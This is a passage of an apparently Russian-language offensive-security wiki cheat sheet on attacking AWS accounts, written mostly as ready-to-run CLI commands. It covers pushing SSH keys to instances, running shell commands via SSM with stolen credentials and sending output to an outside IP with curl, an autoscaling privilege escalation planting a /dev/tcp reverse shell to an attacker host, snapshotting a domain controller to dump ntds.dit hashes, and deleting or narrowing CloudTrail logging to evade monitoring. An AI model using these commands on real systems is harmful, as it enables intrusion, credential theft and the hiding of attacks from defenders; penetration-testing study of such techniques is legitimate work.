# Добавляем наш ключ в систему&lt;br /&gt;
aws ec2 import-key-pair --key-name &amp;quot;AWS Audit&amp;quot; --public-key-material file://~/.ssh/id_rsa.pub --region eu-west-1  &lt;br /&gt;
&lt;br /&gt;
# Создаем EC2-Instance используя созданный AMI (параметры security group и подсеть оставили те же) &lt;br /&gt;
aws ec2 run-instances --image-id ami-0b77e2d906b00202d --security-group-ids &amp;quot;sg-6d0d7f01&amp;quot; --subnet-id subnet-9eb001ea --count 1 --instance-type t2.micro --key-name &amp;quot;AWS Audit&amp;quot; --query &amp;quot;Instances[0].InstanceId&amp;quot; --region eu-west-1&lt;br /&gt;
&lt;br /&gt;
# Проверяем запустился ли инстанс&lt;br /&gt;
aws ec2 describe-instances --instance-ids i-0546910a0c18725a1 &lt;br /&gt;
&lt;br /&gt;
# Не обязательно - редактируем группу инстанса&lt;br /&gt;
aws ec2 modify-instance-attribute --instance-id &amp;quot;i-0546910a0c18725a1&amp;quot; --groups &amp;quot;sg-6d0d7f01&amp;quot;  --region eu-west-1&lt;br /&gt;
&lt;br /&gt;
# В конце работы - останавливаем и удаляем инстанс&lt;br /&gt;
aws ec2 stop-instances --instance-id &amp;quot;i-0546910a0c18725a1&amp;quot; --region eu-west-1 &lt;br /&gt;
aws ec2 terminate-instances --instance-id &amp;quot;i-0546910a0c18725a1&amp;quot; --region eu-west-1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ec2-instance-connect:SendSSHPublicKey ====&lt;br /&gt;
&lt;br /&gt;
Добавить SSH-ключ  к EC2-инстансу. Ключ будет существовать 60 секунд.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Получаем информацию об инстансе, который будем атаковать.&lt;br /&gt;
aws ec2 describe-instances --profile uploadcreds --region eu-west-1 | jq &amp;quot;.[][].Instances | .[] | {InstanceId, KeyName, State}&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Добавляем ключ к EC2-инстансу.&lt;br /&gt;
aws ec2-instance-connect send-ssh-public-key --region us-east-1 --instance-id INSTANCE --availability-zone us-east-1d --instance-os-user ubuntu --ssh-public-key file://shortkey.pub --profile uploadcreds&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== ec2-instance-connect:SendSerialConsoleSSHPublicKey ====&lt;br /&gt;
&lt;br /&gt;
Добавить SSH-ключ  к EC2-инстансу. Ключ будет существовать 60 секунд.&lt;br /&gt;
&lt;br /&gt;
В отличие от предыдущего пункта, этот ключ можно использовать только при подключении EC2 Serial Console.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Получаем информацию об инстансе, который будем атаковать.&lt;br /&gt;
aws ec2 describe-instances --profile uploadcreds --region eu-west-1 | jq &amp;quot;.[][].Instances | .[] | {InstanceId, KeyName, State}&amp;quot;&lt;br /&gt;
&lt;br /&gt;
# Добавляем ключ к EC2-инстансу.&lt;br /&gt;
aws ec2-instance-connect send-serial-console-ssh-public-key --instance-id i-001234a4bf70dec41EXAMPLE --serial-port 0 --ssh-public-key file://my_key.pub --region us-east-1&lt;br /&gt;
&lt;br /&gt;
# Подключаемся (кроме GovCloud US региона)&lt;br /&gt;
ssh -i my_key i-001234a4bf70dec41EXAMPLE.port0@serial-console.ec2-instance-connect.us-east-1.aws&lt;br /&gt;
# Подключаемся (только для GovCloud US региона)&lt;br /&gt;
ssh -i my_key i-001234a4bf70dec41EXAMPLE.port0@serial-console.ec2-instance-connect.us-gov-east-1.amazonaws.com&lt;br /&gt;
&lt;br /&gt;
# В некоторых случаях нужно подключиться к EC2 и перезагрузить сервис getty (лучше пробовать только, когда не смогли подключиться)&lt;br /&gt;
sudo systemctl restart serial-getty@ttyS0&lt;br /&gt;
# Если не сработало - мб требуется ребутать сервер.&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Также можно подключиться, используя браузер. Подробнее тут: https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/connect-to-serial-console.html&lt;br /&gt;
&lt;br /&gt;
==== ssm:SendCommand ====&lt;br /&gt;
&lt;br /&gt;
Позволяет запускать команды в EC2-Instances. Если нет дополнительных прав, то потребуется:&lt;br /&gt;
&lt;br /&gt;
* Знать Instance-ID, на котором запущен сервис SSM&lt;br /&gt;
&lt;br /&gt;
* Свой сервер, на который будет приходить отстук - результат команды.&lt;br /&gt;
&lt;br /&gt;
Команды для эксплуатации:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
# Получаем информацию о SSM сервисах - может потребоваться ssm:DescribeInstanceInformation&lt;br /&gt;
aws ssm describe-instance-information --profile stolencreds --region eu-west-1  &lt;br /&gt;
# Выполняем команду&lt;br /&gt;
aws ssm send-command --instance-ids &amp;quot;INSTANCE-ID-HERE&amp;quot; --document-name &amp;quot;AWS-RunShellScript&amp;quot; --comment &amp;quot;IP Config&amp;quot; --parameters commands=ifconfig --output text --query &amp;quot;Command.CommandId&amp;quot; --profile stolencreds&lt;br /&gt;
# Получаем результат команды(может не хватить прав ssm:ListCommandInvocations)&lt;br /&gt;
aws ssm list-command-invocations --command-id &amp;quot;COMMAND-ID-HERE&amp;quot; --details --query &amp;quot;CommandInvocations[].CommandPlugins[].{Status:Status,Output:Output}&amp;quot; --profile stolencreds&lt;br /&gt;
&lt;br /&gt;
# Пример - результат команды на удаленный сервер&lt;br /&gt;
$ aws ssm send-command --instance-ids &amp;quot;i-05b████████adaa&amp;quot; --document-name &amp;quot;AWS-RunShellScript&amp;quot; --comment &amp;quot;whoami&amp;quot; --parameters commands='curl 162.243.███.███:8080/`whoami`' --output text --region=us-east-1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== EC2:CreateSnapshot + Active Directory ====&lt;br /&gt;
&lt;br /&gt;
См. AD.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Auto Scaling (autoscaling) ==&lt;br /&gt;
&lt;br /&gt;
Сервис для масштабирования приложений. Работает преимущественно с EC2, ECS, DynamoDB (таблицы и индексы) и Aurora.&lt;br /&gt;
&lt;br /&gt;
Для работы сервиса требуется:&lt;br /&gt;
&lt;br /&gt;
1. Конфигурация запуска EC2.&lt;br /&gt;
&lt;br /&gt;
2. Конфигурация масштабирования.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== Роли - повышение привилегий ==&lt;br /&gt;
&lt;br /&gt;
=== autoscaling:CreateLaunchConfiguration + autoscaling:Create(Update)AutoScalingGroup + iam:PassRole ===&lt;br /&gt;
&lt;br /&gt;
Позволяет создать и запустить конфигурацию масштабирования. &lt;br /&gt;
&lt;br /&gt;
==== Создаем конфигурацию запуска EC2 ====&lt;br /&gt;
&lt;br /&gt;
Для создания требуется:&lt;br /&gt;
&lt;br /&gt;
1. Image-id&lt;br /&gt;
&lt;br /&gt;
2. iam-instance-profile&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Следующая команда создает конфигурацию с командой из файла reverse-shell.sh:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws autoscaling create-launch-configuration --launch-configuration-name demo3-LC --image-id ami-0f90b6b11936e1083 --instance-type t1.micro --iam-instance-profile demo-EC2Admin --metadata-options &amp;quot;HttpEndpoint=enabled,HttpTokens=optional&amp;quot; --associate-public-ip-address --user-data=file://reverse-shell.sh&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Пример содержимого reverse-shell.sh:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
#!/bin/bash&lt;br /&gt;
/bin/bash -l &amp;gt; /dev/tcp/atk.attacker.xyz/443 0&amp;lt;&amp;amp;1 2&amp;gt;&amp;amp;1&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Создаем и запускаем группу масштабируемости ====&lt;br /&gt;
&lt;br /&gt;
Привилегия ec2:DescribeSubnets нужна для выбора нужной сети (чтобы EC2 смог сделать reverse-соедиенение к нам).&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws autoscaling create-auto-scaling-group --auto-scaling-group-name demo3-ASG --launch-configuration-name demo3-LC --min-size 1 --max-size 1 --vpc-zone-identifier &amp;quot;subnet-aaaabbb&amp;quot;&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Подробнее тут https://notdodo.medium.com/aws-ec2-auto-scaling-privilege-escalation-d518f8e7f91b&lt;br /&gt;
&lt;br /&gt;
== AD (Directory Service) ==&lt;br /&gt;
&lt;br /&gt;
Второе название - AWS Managed Microsoft Active Directory. Позволяет использовать Active Directory в AWS.&lt;br /&gt;
&lt;br /&gt;
Основные понятия:&lt;br /&gt;
&lt;br /&gt;
* EC2-Instance - VPS на которых крутится весь Active Directory&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Роли - повышение привилегий ===&lt;br /&gt;
&lt;br /&gt;
==== EC2:CreateSnapshot + EC2:RunInstance -&amp;gt; ShadowCopy ====&lt;br /&gt;
&lt;br /&gt;
Позволяет провести атаку ShadowCopy на доменный контроллер и считать учетные данные всех пользователей.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Последовательность атаки:&lt;br /&gt;
&lt;br /&gt;
1. Получаем список инстансов&lt;br /&gt;
&lt;br /&gt;
2. Создаем Snapshot выбранного сервера&lt;br /&gt;
&lt;br /&gt;
3. Редактируем атрибуты у SnapShot для доступа с аккаунта атакующего. &lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws ec2 modify-snapshot-attribute --snapshot-id snap-1234567890abcdef0 --attribute createVolumePermission  --operation-type remove --user-ids 123456789012&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
4. Переключаемся на аккаунт атакующего&lt;br /&gt;
&lt;br /&gt;
5. Создаем новый Linux EC2-инстанс, к которому будет прикреплен SnapShot&lt;br /&gt;
&lt;br /&gt;
6. Подключаемся по SSH и получаем данные из SnapShot&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
sudo -s&lt;br /&gt;
mkdir /tmp/windows&lt;br /&gt;
mount /dev/xvdf1 /tmp/windows/&lt;br /&gt;
cd  /tmp/windows/&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
7. Работаем с данными на примонтированном диске, который будет в /tmp/windows/. Пример команд для извлечения ntds.dit:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
cp /windows/Windows/NTDS/ntds.dit /home/ec2-user&lt;br /&gt;
cp /windows/Windows/System32/config/SYSTEM /home/ec2-user&lt;br /&gt;
chown ec2-user:ec2-user /home/ec2-user/*&lt;br /&gt;
# Sftp - скачиваем файлы:&lt;br /&gt;
/home/ec2-user/SYSTEM&lt;br /&gt;
/home/ec2-user/ntds.dit&lt;br /&gt;
# Получаем учетные данные, используя Impacket-secretsdump&lt;br /&gt;
secretsdump.py -system ./SYSTEM -ntds ./ntds.dit local -outputfile secrets&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== CloudTrail ==&lt;br /&gt;
&lt;br /&gt;
Сервис для аудита событий в AWS-аккаунте (включен в каждом аккаунте по-умолчанию). Сервис позволяет вести журналы, осуществлять непрерывный мониторинг и сохранять информацию об истории аккаунта в пределах всей используемой инфраструктуры AWS.&lt;br /&gt;
&lt;br /&gt;
Записывает:&lt;br /&gt;
&lt;br /&gt;
* API-вызовы&lt;br /&gt;
&lt;br /&gt;
* Логины в систему&lt;br /&gt;
&lt;br /&gt;
* События сервисов&lt;br /&gt;
&lt;br /&gt;
* ???&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Важен при операциях RedTeam.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Название файла логов:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
AccountID_CloudTrail_RegionName_YYYYMMDDTHHmmZ_UniqueString.FileNameFormat&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
S3 путь до логов:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
BucketName/prefix/AWSLogs/AccountID/CloudTrail/RegionName/YYYY/MM/DD&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Путь у CloudTrail-Digest файлов:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
s3://s3-bucket-name/optional-prefix/AWSLogs/aws-account-id/CloudTrail-Digest/region/digest-end-year/digest-end-month/digest-end-data/aws-account-id_CloudTrail-Digest_region_trail-name_region_digest_end_timestamp.json.gz&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Основные поля у событий:&lt;br /&gt;
&lt;br /&gt;
* eventName - имя API-endpoint&lt;br /&gt;
&lt;br /&gt;
* eventSource - вызванный сервис&lt;br /&gt;
&lt;br /&gt;
* eventTime - время события&lt;br /&gt;
&lt;br /&gt;
* SourceIPAddress - ip-адрес источника&lt;br /&gt;
&lt;br /&gt;
* userAgent - метод запроса&lt;br /&gt;
** &amp;quot;signing.amazonaws.com&amp;quot; - запрос от AWS Management Console&lt;br /&gt;
** &amp;quot;console.amazonaws.com&amp;quot; - запрос от root-пользователя аккаунта&lt;br /&gt;
** &amp;quot;lambda.amazonaws.com&amp;quot; - запрос от AWS Lambda&lt;br /&gt;
&lt;br /&gt;
* requestParameters - параметры запроса&lt;br /&gt;
&lt;br /&gt;
* responseElements - элементы ответа.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Временные параметры:&lt;br /&gt;
&lt;br /&gt;
* 5 минут - сохраняется новый лог-файл&lt;br /&gt;
&lt;br /&gt;
* 15 минут - сохраняется в S3.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Важно! Сохраняется чексумма файлов, поэтому пользователи могут удостовериться что логи не менялись.&lt;br /&gt;
Также логи могут уходить напрямую в CloudWatch - администраторам может прилететь уведомление об ИБ-инцидентах. Или события могут быть проанализированы внутренним модулем CloudTrail - Insights на предмет необычной активности.&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление ===&lt;br /&gt;
&lt;br /&gt;
==== cloudtrail:DeleteTrail ====&lt;br /&gt;
&lt;br /&gt;
Позволяет отключить мониторинг:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws cloudtrail delete-trail --name cloudgoat_trail --profile administrator&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== cloudtrail:UpdateTrail ====&lt;br /&gt;
&lt;br /&gt;
Права на редактирование правил монитринга.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Отключить мониторинг глобальных сервисов:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws cloudtrail update-trail --name cloudgoat_trail --no-include-global-service-event&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Отключить мониторинг на конкретные регионы:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws cloudtrail update-trail --name cloudgoat_trail --no-include-global-service-event --no-is-multi-region --region=eu-west&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== validate-logs ====&lt;br /&gt;
&lt;br /&gt;
Проверить, были ли изменены логи.&lt;br /&gt;
&lt;br /&gt;
aws cloudtrail validate-logs --trail-arn &amp;lt;trailARN&amp;gt; --start-time &amp;lt;start-time&amp;gt; [--end-time &amp;lt;end-time&amp;gt;] [--s3-bucket &amp;lt;bucket-name&amp;gt;] [--s3-prefix &amp;lt;prefix&amp;gt;] [--verbose]&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
=== Эксплуатация ===&lt;br /&gt;
&lt;br /&gt;
==== Обход правила по UserAgent ====&lt;br /&gt;
&lt;br /&gt;
На сервисе есть правило, по которому определяет, что запросы были сделаны с kali/parrot/pentoo используя awscli.&lt;br /&gt;
&lt;br /&gt;
Для этого можно воспользоваться утилитой pacu, которая автоматически подменяет useragent. Использование утилиты в конце статьи.&lt;br /&gt;
&lt;br /&gt;
== DynamoDB ==&lt;br /&gt;
&lt;br /&gt;
Cистема управления базами данных класса NoSQL в формате «ключ — значение».&lt;br /&gt;
&lt;br /&gt;
=== Роли - управление ===&lt;br /&gt;
&lt;br /&gt;
==== dynamodb:ListTables ====&lt;br /&gt;
&lt;br /&gt;
Позволяет посмотреть спрсок таблиц базы данных.&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws --endpoint-url http://s3.bucket.htb dynamodb list-tables        &lt;br /&gt;
&lt;br /&gt;
{&lt;br /&gt;
    &amp;quot;TableNames&amp;quot;: [&lt;br /&gt;
        &amp;quot;users&amp;quot;&lt;br /&gt;
    ]&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== dynamodb:Scan ====&lt;br /&gt;
&lt;br /&gt;
Получение обьектов из базы данных:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
aws --endpoint-url http://s3.bucket.htb dynamodb scan --table-name users | jq -r '.Items[]'&lt;br /&gt;
&lt;br /&gt;
{&lt;br /&gt;
  &amp;quot;password&amp;quot;: {&lt;br /&gt;
    &amp;quot;S&amp;quot;: &amp;quot;Management@#1@#&amp;quot;&lt;br /&gt;
  },&lt;br /&gt;
  &amp;quot;username&amp;quot;: {&lt;br /&gt;
    &amp;quot;S&amp;quot;: &amp;quot;Mgmt&amp;quot;&lt;br /&gt;
  }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== ES (ElasticSearch) ==&lt;br /&gt;
&lt;br /&gt;
ElasticSearch от AWS. Используется для просмотра логов/журналов, поиска на вебсайте и тд.&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{user_provided}-{random_id}.{region}.es.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== ELB (Elastic Load Balancing) ==&lt;br /&gt;
&lt;br /&gt;
Балансировщик нагрузки.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки (elb_v1):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
http://{user_provided}-{random_id}.{region}.elb.amazonaws.com:80/443&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Формат ссылки (elb_v2):&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{user_provided}-{random_id}.{region}.elb.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== RDS (Relational Database Service) ==&lt;br /&gt;
&lt;br /&gt;
Облачная реляционная база данных (на выбор).&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
mysql://{user_provided}.{random_id}.{region}.rds.amazonaws.com:3306&lt;br /&gt;
postgres://{user_provided}.{random_id}.{region}.rds.amazonaws.com:5432&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Route 53 ==&lt;br /&gt;
&lt;br /&gt;
Настраиваемая служба DNS.&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
{user_provided}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== API Gateway ==&lt;br /&gt;
&lt;br /&gt;
API-сервис, который будет доступен почти со всех серверов.&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{restapi_id}.execute-api.{region}.amazonaws.com/{stage_name}/&lt;br /&gt;
https://{random_id}.execute-api.{region}.amazonaws.com/{user_provided}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== CloudSearch ==&lt;br /&gt;
&lt;br /&gt;
Альтернатива сервису ElasticSearch. Система для упрощения поиска для администрирования и, например, на вебсайте.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://doc-{user_provided}-{random_id}.{region}.cloudsearch.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Transfer Family  ==&lt;br /&gt;
&lt;br /&gt;
Группа сервисов для передачи файлов (S3/EFS) по (SFTP, FTPS, FTP).&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
sftp://s-{random_id}.server.transfer.{region}.amazonaws.com&lt;br /&gt;
ftps://s-{random_id}.server.transfer.{region}.amazonaws.com&lt;br /&gt;
ftp://s-{random_id}.server.transfer.{region}.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== IoT (Internet Of Things) ==&lt;br /&gt;
&lt;br /&gt;
Сервис для управления IoT-устройствами.&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
mqtt://{random_id}.iot.{region}.amazonaws.com:8883&lt;br /&gt;
https://{random_id}.iot.{region}.amazonaws.com:8443&lt;br /&gt;
https://{random_id}.iot.{region}.amazonaws.com:443&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== MQ ==&lt;br /&gt;
&lt;br /&gt;
Сервис брокера сообщений для Apache ActiveMQ &amp;amp; RabbitMQ.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:8162&lt;br /&gt;
ssl://b-{random_id}-{1,2}.mq.{region}.amazonaws.com:61617&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== MSK (Managed Streaming for Apache Kafka) ==&lt;br /&gt;
&lt;br /&gt;
Сервис потоковой передачи данных в Apache Kafka.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
b-{1,2,3,4}.{user_provided}.{random_id}.c{1,2}.kafka.{region}.amazonaws.com&lt;br /&gt;
{user_provided}.{random_id}.c{1,2}.kafka.useast-1.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== Cloud9 ==&lt;br /&gt;
&lt;br /&gt;
Облачная интегрированная среда разработки(IDE) используя только браузер.&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{random_id}.vfs.cloud9.{region}.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
== MediaStore ==&lt;br /&gt;
&lt;br /&gt;
Cервис хранилища AWS, оптимизированный для мультимедийных материалов.&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
Формат ссылки:&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot; line=&amp;quot;1&amp;quot; enclose=&amp;quot;div&amp;quot; style=&amp;quot;overflow-x:scroll&amp;quot; &amp;gt;&lt;br /&gt;
https://{random_id}.data.mediastore.{region}.amazonaws.com&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
